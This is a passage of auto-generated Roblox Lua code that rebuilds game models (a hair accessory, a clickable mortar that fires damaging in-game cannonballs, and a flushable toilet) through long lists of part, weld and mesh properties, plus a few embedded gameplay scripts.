2.00714112e-09, -0.254995316, 0.96694231) Weld873.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld873.Part0 = Part869 Weld873.Part1 = Part848 Weld873.part1 = Part848 Accessory874.Name = "Ultra-Fabulous Hair" Accessory874.Parent = Model807 Part875.Name = "Handle" Part875.Parent = Accessory874 Part875.CFrame = CFrame.new(227.820663, 5, -106.533447, 0, 0, 1, 0, 1, -0, -1, 0, 0) Part875.Orientation = Vector3.new(0, 90, 0) Part875.Position = Vector3.new(227.820663, 5, -106.533447) Part875.Rotation = Vector3.new(0, 90, 0) Part875.Size = Vector3.new(2, 2, 2) Part875.Anchored = true Part875.BottomSurface = Enum.SurfaceType.Smooth Part875.CanCollide = false Part875.Locked = true Part875.TopSurface = Enum.SurfaceType.Smooth Part875.FormFactor = Enum.FormFactor.Symmetric Part875.formFactor = Enum.FormFactor.Symmetric SpecialMesh876.Parent = Part875 SpecialMesh876.MeshId = "http://www.roblox.com/asset/?id=16627529" SpecialMesh876.Scale = Vector3.new(1.04999995, 1.04999995, 1.04999995) SpecialMesh876.TextureId = "http://www.roblox.com/asset/?id=16627494" SpecialMesh876.MeshType = Enum.MeshType.FileMesh Weld877.Name = "AccessoryWeld" Weld877.Parent = Part875 Weld877.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld877.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld877.Part0 = Part875 Weld877.Part1 = Part848 Weld877.part1 = Part848 Weld878.Name = "HeadWeld" Weld878.Parent = Part875 Weld878.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld878.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld878.Part0 = Part875 Weld878.Part1 = Part848 Weld878.part1 = Part848 Weld879.Name = "AccessoryWeld" Weld879.Parent = Part875 Weld879.C0 = CFrame.new(8.65838956e-09, 0.0999999046, -0.000272244215, 1, 7.87137555e-09, -3.26223034e-24, -7.87137555e-09, 1, -4.1444221e-16, 0, 4.1444221e-16, 1) Weld879.C1 = CFrame.new(0, 0.600000024, 0, 1, 7.87137555e-09, 3.02998127e-15, -7.87137555e-09, 1, -4.1444258e-16, -3.02998127e-15, 4.14442554e-16, 1) Weld879.Part0 = Part875 Weld879.Part1 = Part848 Weld879.part1 = Part848 BodyColors880.Parent = Model807 BodyColors880.HeadColor = BrickColor.new("Light orange") BodyColors880.HeadColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors880.LeftArmColor = BrickColor.new("Light orange") BodyColors880.LeftArmColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors880.LeftLegColor = BrickColor.new("Light orange") BodyColors880.LeftLegColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors880.RightArmColor = BrickColor.new("Light orange") BodyColors880.RightArmColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors880.RightLegColor = BrickColor.new("Light orange") BodyColors880.RightLegColor3 = Color3.new(0.917647, 0.721569, 0.572549) BodyColors880.TorsoColor = BrickColor.new("Light orange") BodyColors880.TorsoColor3 = Color3.new(0.917647, 0.721569, 0.572549) Shirt881.Name = "Shirt" Shirt881.Parent = Model807 Shirt881.ShirtTemplate = "http://www.roblox.com/asset/?id=3789229425" Model882.Name = "Mortar" Model882.Parent = Model319 Part883.Parent = Model882 Part883.CFrame = CFrame.new(195.552155, 1.50067139, -74.1642914, -0.999999225, -8.65210677e-06, 0.00143999979, 0.000651277835, 0.889133155, 0.457647651, -0.00128433784, 0.457648277, -0.889132738) Part883.Orientation = Vector3.new(-27.2399998, 179.910004, 0.0399999991) Part883.Position = Vector3.new(195.552155, 1.50067139, -74.1642914) Part883.Rotation = Vector3.new(-152.759995, 0.0799999982, 180) Part883.Color = Color3.new(0.388235, 0.372549, 0.384314) Part883.Size = Vector3.new(1, 1.20000005, 1) Part883.Anchored = true Part883.BottomSurface = Enum.SurfaceType.Smooth Part883.BrickColor = BrickColor.new("Dark stone grey") Part883.TopSurface = Enum.SurfaceType.Smooth Part883.brickColor = BrickColor.new("Dark stone grey") BlockMesh884.Parent = Part883 BlockMesh884.Scale = Vector3.new(2, 2, 2) Part885.Parent = Model882 Part885.CFrame = CFrame.new(194.5, 1.19999695, -72.5, -1.00000024, 2.50292942e-08, -7.21774995e-09, -2.50292942e-08, 0.999999762, 2.98023224e-08, -7.21774995e-09, -2.98023224e-08, -1.00000036) Part885.Orientation = Vector3.new(0, -180, 0) Part885.Position = Vector3.new(194.5, 1.19999695, -72.5) Part885.Rotation = Vector3.new(-180, 0, -180) Part885.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part885.Size = Vector3.new(1, 2.4000001, 1) Part885.Anchored = true Part885.BottomSurface = Enum.SurfaceType.Smooth Part885.BrickColor = BrickColor.new("Really black") Part885.TopSurface = Enum.SurfaceType.Smooth Part885.brickColor = BrickColor.new("Really black") BlockMesh886.Parent = Part885 BlockMesh886.Scale = Vector3.new(0.5, 1.5, 0.5) Part887.Parent = Model882 Part887.CFrame = CFrame.new(192.142944, 5.18940735, -72.2156906, -0.00267499872, 0.690129817, -0.723680794, 0.457609951, -0.642619669, -0.614518344, -0.889149189, -0.332807541, -0.314091444) Part887.Orientation = Vector3.new(37.9199982, -113.459999, 144.550003) Part887.Position = Vector3.new(192.142944, 5.18940735, -72.2156906) Part887.Rotation = Vector3.new(117.07, -46.3600006, -90.2200012) Part887.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part887.Size = Vector3.new(1, 0.400000006, 1) Part887.Anchored = true Part887.BottomSurface = Enum.SurfaceType.Smooth Part887.BrickColor = BrickColor.new("Really black") Part887.TopSurface = Enum.SurfaceType.Smooth Part887.brickColor = BrickColor.new("Really black") CylinderMesh888.Parent = Part887 CylinderMesh888.Scale = Vector3.new(1, 0.0500000007, 1) Part889.Parent = Model882 Part889.CFrame = CFrame.new(192.933075, 1.96476746, -73.985939, -2.32364982e-07, 0.457645953, 0.889134765, 0.457654566, 0.790556252, -0.406906456, -0.889130354, 0.406916618, -0.209443986) Part889.Orientation = Vector3.new(24.0100002, 103.25, 30.0699997) Part889.Position = Vector3.new(192.933075, 1.96476746, -73.985939) Part889.Rotation = Vector3.new(117.239998, 62.7599983, -90) Part889.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part889.Size = Vector3.new(1, 2.4000001, 1) Part889.Anchored = true Part889.BottomSurface = Enum.SurfaceType.Smooth Part889.BrickColor = BrickColor.new("Really black") Part889.TopSurface = Enum.SurfaceType.Smooth Part889.brickColor = BrickColor.new("Really black") BlockMesh890.Parent = Part889 BlockMesh890.Scale = Vector3.new(0.5, 1.5, 0.5) Part891.Parent = Model882 Part891.CFrame = CFrame.new(194.60434, 2.6816864, -75.3787079, 1.00000024, -7.36908987e-06, 1.05607323e-05, 1.29035907e-05, 0.581115961, -0.813820601, -1.27358362e-07, 0.813820958, 0.581116319) Part891.Orientation = Vector3.new(54.4700012, 0, 0) Part891.Position = Vector3.new(194.60434, 2.6816864, -75.3787079) Part891.Rotation = Vector3.new(54.4700012, 0, 0) Part891.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part891.Size = Vector3.new(1, 2.4000001, 1) Part891.Anchored = true Part891.BottomSurface = Enum.SurfaceType.Smooth Part891.BrickColor = BrickColor.new("Really black") Part891.TopSurface = Enum.SurfaceType.Smooth Part891.brickColor = BrickColor.new("Really black") BlockMesh892.Parent = Part891 BlockMesh892.Scale = Vector3.new(0.5, 1.5, 0.5) Part893.Parent = Model882 Part893.CFrame = CFrame.new(193.936874, 3.51823425, -73.0811615, 0.00267499872, -0.690129817, -0.723680794, -0.457609951, 0.642619669, -0.614518344, 0.889149189, 0.332807541, -0.314091444) Part893.Orientation = Vector3.new(37.9199982, -113.459999, -35.4500008) Part893.Position = Vector3.new(193.936874, 3.51823425, -73.0811615) Part893.Rotation = Vector3.new(117.07, -46.3600006, 89.7799988) Part893.Color = Color3.new(0.388235, 0.372549, 0.384314) Part893.Size = Vector3.new(1, 4, 1) Part893.Anchored = true Part893.BottomSurface = Enum.SurfaceType.Smooth Part893.BrickColor = BrickColor.new("Dark stone grey") Part893.TopSurface = Enum.SurfaceType.Smooth Part893.brickColor = BrickColor.new("Dark stone grey") CylinderMesh894.Parent = Part893 CylinderMesh894.Scale = Vector3.new(1.5, 1, 1.5) Weld895.Parent = Part893 Weld895.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld895.C1 = CFrame.new(0, -0.200004578, 1.49998474, -1.00000036, 2.98023224e-07, 2.98023224e-07, -2.98023224e-07, -1.1920929e-07, 1.00000012, -2.98023224e-07, 1, -1.1920929e-07) Weld895.Part0 = Part893 Weld895.Part1 = Part910 Weld895.part1 = Part910 Weld896.Parent = Part893 Weld896.C0 = CFrame.new(0, 0, -0.5, -1, -0, -0, 0, 1, 0, -0, -0, -1) Weld896.C1 = CFrame.new(0, -0.200004578, 1.49998474, -1.00000036, 2.98023224e-07, 2.98023224e-07, -2.98023224e-07, -1.1920929e-07, 1.00000012, -2.98023224e-07, 1, -1.1920929e-07) Weld896.Part0 = Part893 Weld896.Part1 = Part910 Weld896.part1 = Part910 Weld897.Parent = Part893 Weld897.C0 = CFrame.new(0, 0, -0.5, -1, 0, 0, 0, 1, 0, 0, 0, -1) Weld897.C1 = CFrame.new(3.81469727e-06, -0.200012207, 1.49999237, -0.999999046, 3.25962901e-08, -2.94763595e-07, -4.19095159e-09, 0, 1.00000012, 1.47614628e-07, 0.999999464, -4.76837158e-07) Weld897.Part0 = Part893 Weld897.Part1 = Part910 Weld897.part1 = Part910 Part898.Parent = Model882 Part898.CFrame = CFrame.new(192.419281, 4.93218994, -72.348999, -0.00267499872, 0.690129817, -0.723680794, 0.457609951, -0.642619669, -0.614518344, -0.889149189, -0.332807541, -0.314091444) Part898.Orientation = Vector3.new(37.9199982, -113.459999, 144.550003) Part898.Position = Vector3.new(192.419281, 4.93218994, -72.348999) Part898.Rotation = Vector3.new(117.07, -46.3600006, -90.2200012) Part898.Color = Color3.new(0.388235, 0.372549, 0.384314) Part898.Size = Vector3.new(1, 0.400000006, 1) Part898.Anchored = true Part898.BottomSurface = Enum.SurfaceType.Smooth Part898.BrickColor = BrickColor.new("Dark stone grey") Part898.TopSurface = Enum.SurfaceType.Smooth Part898.brickColor = BrickColor.new("Dark stone grey") CylinderMesh899.Parent = Part898 CylinderMesh899.Scale = Vector3.new(1.79999995, 2, 1.79999995) Model900.Name = "Part" Model900.Parent = Model882 Model901.Name = "GunBarrel" Model901.Parent = Model900 Part902.Name = "One" Part902.Parent = Model901 Part902.CFrame = CFrame.new(191.659531, 5.63937378, -71.9826508, -0.690129817, 0.723680794, -0.00267499872, 0.642619669, 0.614518344, 0.457609951, 0.332807541, 0.314091444, -0.889149189) Part902.Orientation = Vector3.new(-27.2299995, -179.830002, 46.2799988) Part902.Position = Vector3.new(191.659531, 5.63937378, -71.9826508) Part902.Rotation = Vector3.new(-152.770004, -0.150000006, -133.639999) Part902.Color = Color3.new(0.0666667, 0.0666667, 0.0666667) Part902.Transparency = 1 Part902.Size = Vector3.new(1, 1, 1) Part902.Anchored = true Part902.BackSurface = Enum.SurfaceType.Weld Part902.BottomSurface = Enum.SurfaceType.Weld Part902.BrickColor = BrickColor.new("Really black") Part902.FrontSurface = Enum.SurfaceType.Weld Part902.LeftSurface = Enum.SurfaceType.Weld Part902.RightParamA = 0 Part902.RightParamB = 0 Part902.RightSurface = Enum.SurfaceType.Weld Part902.TopSurface = Enum.SurfaceType.Weld Part902.brickColor = BrickColor.new("Really black") Part902.Shape = Enum.PartType.Cylinder Weld903.Parent = Part902 Weld903.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld903.C1 = CFrame.new(0, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07) Weld903.Part0 = Part902 Weld903.Part1 = Part887 Weld903.part1 = Part887 Weld904.Parent = Part902 Weld904.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld904.C1 = CFrame.new(0, -0.2003479, 0.000106811523, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07) Weld904.Part0 = Part902 Weld904.Part1 = Part887 Weld904.part1 = Part887 Weld905.Parent = Part902 Weld905.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld905.C1 = CFrame.new(-3.81469727e-06, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07) Weld905.Part0 = Part902 Weld905.Part1 = Part887 Weld905.part1 = Part887 Weld906.Parent = Part902 Weld906.C0 = CFrame.new(-0.5, 0, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) Weld906.C1 = CFrame.new(1.71661377e-05, -0.200332642, 0.000106811523, 0.999994516, 4.69619408e-07, -5.77419996e-07, -6.07455149e-07, 1.25169754e-06, 0.999997139, -4.69619408e-07, -1.00000024, -1.25169754e-06) Weld906.Part0 = Part902 Weld906.Part1 = Part887 Weld906.part1 = Part887 Weld907.Parent = Part902 Weld907.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld907.C1 = CFrame.new(0, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07) Weld907.Part0 = Part902 Weld907.Part1 = Part887 Weld907.part1 = Part887 Weld908.Parent = Part902 Weld908.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld908.C1 = CFrame.new(-3.81469727e-06, -0.2003479, 0.000114440918, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07) Weld908.Part0 = Part902 Weld908.Part1 = Part887 Weld908.part1 = Part887 Weld909.Parent = Part902 Weld909.C0 = CFrame.new(-0.5, 0, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) Weld909.C1 = CFrame.new(0, -0.2003479, 0.000106811523, 1.00000036, -2.98023224e-07, 2.98023224e-07, 2.98023224e-07, 1.1920929e-07, 1, 2.98023224e-07, -1.00000012, -1.1920929e-07) Weld909.Part0 = Part902 Weld909.Part1 = Part887 Weld909.part1 = Part887 Part910.Name = "Switch" Part910.Parent = Model900 Part910.CFrame = CFrame.new(195.478653, 2.98448181, -73.3605042, 0.00267499872, 0.723680794, -0.690129817, -0.457609951, 0.614518344, 0.642619669, 0.889149189, 0.314091444, 0.332807541) Part910.Orientation = Vector3.new(-39.9900017, -64.25, -36.6699982) Part910.Position = Vector3.new(195.478653, 2.98448181, -73.3605042) Part910.Rotation = Vector3.new(-62.6199989, -43.6399994, -89.7900009) Part910.Color = Color3.new(0.294118, 0.592157, 0.294118) Part910.Size = Vector3.new(1, 0.400000006, 1) Part910.Anchored = true Part910.BottomSurface = Enum.SurfaceType.Weld Part910.BrickColor = BrickColor.new("Bright green") Part910.TopSurface = Enum.SurfaceType.Smooth Part910.brickColor = BrickColor.new("Bright green") ClickDetector911.Parent = Part910 ClickDetector911.MaxActivationDistance = 6 Script912.Name = "CannonBall" Script912.Parent = Part910 table.insert(cors,sandbox(Script912,function() ball = script.Parent damage = 100 function onTouched(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") if humanoid~=nil then tagHumanoid(humanoid) humanoid.Health = humanoid.Health - damage wait(0.00000001) untagHumanoid(humanoid) connection:disconnect() else damage = damage / 2 if damage < 2 then connection:disconnect() ball.Parent = nil end end if math.random(1,1) == 1 then explosion = Instance.new("Explosion") explosion.BlastRadius = 6 explosion.BlastPressure = 100000 -- these are really wussy units explosion.Position = script.Parent.Position explosion.Parent = game.Workspace connection:disconnect() ball.Parent = nil cancollide = true end end function tagHumanoid(humanoid) -- todo: make tag expire local tag = ball:findFirstChild("creator") if tag ~= nil then local new_tag = tag:clone() new_tag.Parent = humanoid end end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end connection = ball.Touched:connect(onTouched) r = game:service("RunService") t, s = r.Stepped:wait() d = t + 5.0 - s while t < d do t = r.Stepped:wait() end ball.Parent = nil end)) Script912.Disabled = true Script913.Name = "FireGun" Script913.Parent = Part910 table.insert(cors,sandbox(Script913,function() local switch = script.Parent local gunBarrelOne = script.Parent.Parent.GunBarrel.One local debounce = false local gunOne = true local cannonBall = Instance.new("Part") cannonBall.Size = Vector3.new(1,1,1) cannonBall.BrickColor = BrickColor.new(26) -- medium blue cannonBall.Shape = 0 cannonBall.BottomSurface = 0 cannonBall.TopSurface = 0 cannonBall.Name = "Cannon Shot" cannonBall.Elasticity = .1 cannonBall.Reflectance = .2 cannonBall.Friction = .5 function fire(player) local sound = script.Parent:findFirstChild("GunSound") if sound == nil then sound = Instance.new("Sound") sound.Name = "GunSound" sound.SoundId = "rbxasset://sounds\collide.wav" sound.Volume = 1 sound.Parent = script.Parent end sound:play() local missile = Instance.new("Part") local barrel if gunOne == true then barrel = gunBarrelOne gunOne = true end local spawnPos = barrel.CFrame * Vector3.new(6, 0, 0) local dx = math.random(50,50) local dy = math.random(0,0) local dz = math.random(0,0) local mag = math.random(200,200) local v = barrel.CFrame:vectorToWorldSpace(Vector3.new(mag + dx,dy,dz)) local missile = cannonBall:clone() missile.Position = spawnPos missile.Velocity = v local new_script = script.Parent.CannonBall:clone() new_script.Disabled = false new_script.Parent = missile local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function onClicked() if debounce == false then debounce = true switch.BrickColor = BrickColor.new(21) -- let slip the dogs of war fire(player) wait(.001) wait(3) debounce = false switch.BrickColor = BrickColor.new(37) end end script.Parent.ClickDetector.MouseClick:connect(onClicked) end)) Weld914.Parent = Part910 Weld914.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld914.C1 = CFrame.new(0, -1.5, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012) Weld914.Part0 = Part910 Weld914.Part1 = Part893 Weld914.part1 = Part893 Weld915.Parent = Part910 Weld915.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld915.C1 = CFrame.new(0, -1.5, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012) Weld915.Part0 = Part910 Weld915.Part1 = Part893 Weld915.part1 = Part893 Weld916.Parent = Part910 Weld916.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld916.C1 = CFrame.new(3.81469727e-06, -1.49998474, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012) Weld916.Part0 = Part910 Weld916.Part1 = Part893 Weld916.part1 = Part893 Weld917.Parent = Part910 Weld917.C0 = CFrame.new(0, -0.200000003, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld917.C1 = CFrame.new(3.81469727e-06, -1.49998474, -0.500030518, 1.00000036, 2.98023224e-07, -2.98023224e-07, 2.98023224e-07, 1, 1.1920929e-07, -2.98023224e-07, 1.1920929e-07, 1.00000012) Weld917.Part0 = Part910 Weld917.Part1 = Part893 Weld917.part1 = Part893 Sound918.Name = "GunSound" Sound918.Parent = Part910 Sound918.PlayOnRemove = true Sound918.SoundId = "rbxasset://sounds/collide.wav" Sound918.Volume = 1 Model919.Parent = Model319 Model920.Name = "Toilet" Model920.Parent = Model919 UnionOperation921.Name = "ToiletSeat" UnionOperation921.Parent = Model920 UnionOperation921.CFrame = CFrame.new(227.427338, 1.70000398, -134.084274, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769) UnionOperation921.Orientation = Vector3.new(0, 45, 0) UnionOperation921.Position = Vector3.new(227.427338, 1.70000398, -134.084274) UnionOperation921.Rotation = Vector3.new(0, 45, 0) UnionOperation921.Color = Color3.new(0.898039, 0.894118, 0.87451) UnionOperation921.Size = Vector3.new(2.4000001, 0.200000197, 2.80000019) UnionOperation921.Anchored = true UnionOperation921.BrickColor = BrickColor.new("Light stone grey") UnionOperation921.Material = Enum.Material.SmoothPlastic UnionOperation921.brickColor = BrickColor.new("Light stone grey") UnionOperation921.UsePartColor = true Part922.Parent = Model920 Part922.CFrame = CFrame.new(228.700134, 2.30000091, -132.811462, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769) Part922.Orientation = Vector3.new(0, 45, 0) Part922.Position = Vector3.new(228.700134, 2.30000091, -132.811462) Part922.Rotation = Vector3.new(0, 45, 0) Part922.Color = Color3.new(0.898039, 0.894118, 0.87451) Part922.Size = Vector3.new(2, 1.39999998, 0.800000012) Part922.Anchored = true Part922.BottomSurface = Enum.SurfaceType.Smooth Part922.BrickColor = BrickColor.new("Light stone grey") Part922.Material = Enum.Material.SmoothPlastic Part922.TopSurface = Enum.SurfaceType.Smooth Part922.brickColor = BrickColor.new("Light stone grey") Part922.FormFactor = Enum.FormFactor.Custom Part922.formFactor = Enum.FormFactor.Custom UnionOperation923.Name = "ToiletBowl" UnionOperation923.Parent = Model920 UnionOperation923.CFrame = CFrame.new(227.71019, 0.800004959, -133.801407, 0.707106769, 0, 0.707106769, 0, 1, 0, -0.707106769, 0, 0.707106769) UnionOperation923.Orientation = Vector3.new(0, 45, 0) UnionOperation923.Position = Vector3.new(227.71019, 0.800004959, -133.801407) UnionOperation923.Rotation = Vector3.new(0, 45, 0) UnionOperation923.Color = Color3.new(0.898039, 0.894118, 0.87451) UnionOperation923.Size = Vector3.new(2.4000001, 1.60000062, 3.599998) UnionOperation923.Anchored = true UnionOperation923.BrickColor = BrickColor.new("Light stone grey") UnionOperation923.Material = Enum.Material.SmoothPlastic UnionOperation923.brickColor = BrickColor.new("Light stone grey") UnionOperation923.UsePartColor = true Part924.Name = "Interactive" Part924.Parent = Model920 Part924.CFrame = CFrame.new(229.6194, 2.80000091, -133.589279, 0.707106769, -0.707106769, 0, 0, 0, 1, -0.707106769, -0.707106769, 0) Part924.Orientation = Vector3.new(-90, 45, 0) Part924.Position = Vector3.new(229.6194, 2.80000091, -133.589279) Part924.Rotation = Vector3.new(-90, 0, 45) Part924.Color = Color3.new(0.584314, 0.537255, 0.533333) Part924.Size = Vector3.new(0.200000003, 0.400000006, 0.200000003) Part924.Anchored = true Part924.BottomSurface = Enum.SurfaceType.Smooth Part924.BrickColor = BrickColor.new("Hurricane grey") Part924.Material = Enum.Material.SmoothPlastic Part924.Reflectance = 0.10000000149012 Part924.TopSurface = Enum.SurfaceType.Smooth Part924.brickColor = BrickColor.new("Hurricane grey") Part924.FormFactor = Enum.FormFactor.Custom Part924.formFactor = Enum.FormFactor.Custom CylinderMesh925.Parent = Part924 CylinderMesh925.Scale = Vector3.new(0.800000012, 1, 0.800000012) ClickDetector926.Parent = Part924 ClickDetector926.MaxActivationDistance = 12 Part927.Name = "Handle" Part927.Parent = Model920 Part927.CFrame = CFrame.new(229.619385, 2.80000091, -133.447861, 0, 0.707106769, 0.707106769, -1, 0, 0, 0, -0.707106769, 0.707106769) Part927.Orientation = Vector3.new(0, 45, -90) Part927.Position = Vector3.new(229.619385, 2.80000091, -133.447861) Part927.Rotation = Vector3.new(0, 45, -90) Part927.Color = Color3.new(0.584314, 0.537255, 0.533333) Part927.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003) Part927.Anchored = true Part927.BottomSurface = Enum.SurfaceType.Smooth Part927.BrickColor = BrickColor.new("Hurricane grey") Part927.Material = Enum.Material.SmoothPlastic Part927.Reflectance = 0.10000000149012 Part927.TopSurface = Enum.SurfaceType.Smooth Part927.brickColor = BrickColor.new("Hurricane grey") Part927.FormFactor = Enum.FormFactor.Custom Part927.formFactor = Enum.FormFactor.Custom CylinderMesh928.Parent = Part927 CylinderMesh928.Scale = Vector3.new(0.800000012, 1, 0.800000012) Script929.Name = "ToiletScript" Script929.Parent = Model920 table.insert(cors,sandbox(Script929,function() local seat = script.Parent.Seat seat.ChildAdded:connect(function(obj) if obj.Name == "SeatWeld" then local player = game.Players:GetPlayerFromCharacter(obj.Part1.Parent) if player then script.Parent.Water.BrickColor = BrickColor.new("Cool yellow") script.Parent.ToiletUsed.Value = true end end end) end)) Seat930.Parent = Model920 Seat930.CFrame = CFrame.new(227.639465, 1.70000398, -133.872131, 0.707106709, 0, 0.707106709, 0, 1, 0, -0.707106709, 0, 0.707106709) Seat930.Orientation = Vector3.new(0, 45, 0) Seat930.Position = Vector3.new(227.639465, 1.70000398, -133.872131) Seat930.Rotation = Vector3.new(0, 45, 0) Seat930.Color = Color3.new(0.105882, 0.164706, 0.207843) Seat930.Transparency = 1 Seat930.Size = Vector3.new(2, 0.200000003, 1.39999998) Seat930.BottomSurface = Enum.SurfaceType.Weld Seat930.BrickColor = BrickColor.new("Black") Seat930.TopSurface = Enum.SurfaceType.Smooth Seat930.brickColor = BrickColor.new("Black") Seat930.FormFactor = Enum.FormFactor.Custom Seat930.formFactor = Enum.FormFactor.Custom Weld931.Parent = Seat930 Weld931.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld931.C1 = CFrame.new(0, 0.799998939, -0.100021362, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld931.Part0 = Seat930 Weld931.Part1 = UnionOperation923 Weld931.part1 = UnionOperation923 Weld932.Parent = Seat930 Weld932.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld932.C1 = CFrame.new(0.900016785, 0.100000978, -0.299987793, -1, 0, 0, 0, 0, -1, 0, -1, 0) Weld932.Part0 = Seat930 Weld932.Part1 = Part945 Weld932.part1 = Part945 Weld933.Parent = Seat930 Weld933.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld933.C1 = CFrame.new(0.900024414, 0.100000978, 0.300033569, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld933.Part0 = Seat930 Weld933.Part1 = Part971 Weld933.part1 = Part971 Weld934.Parent = Seat930 Weld934.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld934.C1 = CFrame.new(0, 0.799998939, -0.100021362, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld934.Part0 = Seat930 Weld934.Part1 = UnionOperation923 Weld934.part1 = UnionOperation923 Weld935.Parent = Seat930 Weld935.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld935.C1 = CFrame.new(0, 0.799998999, -0.100013733, 0.99999994, 0, 0, 0, 0, -1, 0, 0.99999994, 0) Weld935.Part0 = Seat930 Weld935.Part1 = UnionOperation923 Weld935.part1 = UnionOperation923 Weld936.Parent = Seat930 Weld936.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld936.C1 = CFrame.new(0.900009155, 0.100000978, 0.30002594, 0.99999994, 0, 0, 0, 0, -1, 0, 0.99999994, 0) Weld936.Part0 = Seat930 Weld936.Part1 = Part971 Weld936.part1 = Part971 Weld937.Parent = Seat930 Weld937.C0 = CFrame.new(0, -0.100000001, 0, 1, 0, 0, -0, -0, -1, 0, 1, 0) Weld937.C1 = CFrame.new(0.900032043, 0.100000978, 0.300033569, 1, 0, 0, 0, 0, -1, 0, 1, 0) Weld937.Part0 = Seat930 Weld937.Part1 = Part971 Weld937.part1 = Part971 Script938.Name = "FlushScript" Script938.Parent = Model920 table.insert(cors,sandbox(Script938,function() local ClickerModule = require(343254562) local clickEvent = ClickerModule.RemoteEvent local interactiveParts = {} local activationDistance = 12 local flushing = false local water = script.Parent.Water local sound = water.FlushSound for i, v in pairs(script.Parent:GetChildren()) do if v.Name == "Interactive" then table.insert(interactiveParts, v) end end local function distanceToCharacter(player, part) local character = player.Character if character then local torso = character:FindFirstChild("Torso") if torso then return((torso.Position - part.Position).magnitude) end end return math.huge end function toiletHandle() for i = 1, 5 do script.Parent.Interactive.CFrame = script.Parent.Handle.CFrame * CFrame.Angles(math.pi/2, 0, math.rad(12) * i) * CFrame.new(0, -0.1, -0.1) wait() end wait(1) for i = 5, 1, -1 do script.Parent.Interactive.CFrame = script.Parent.Handle.CFrame * 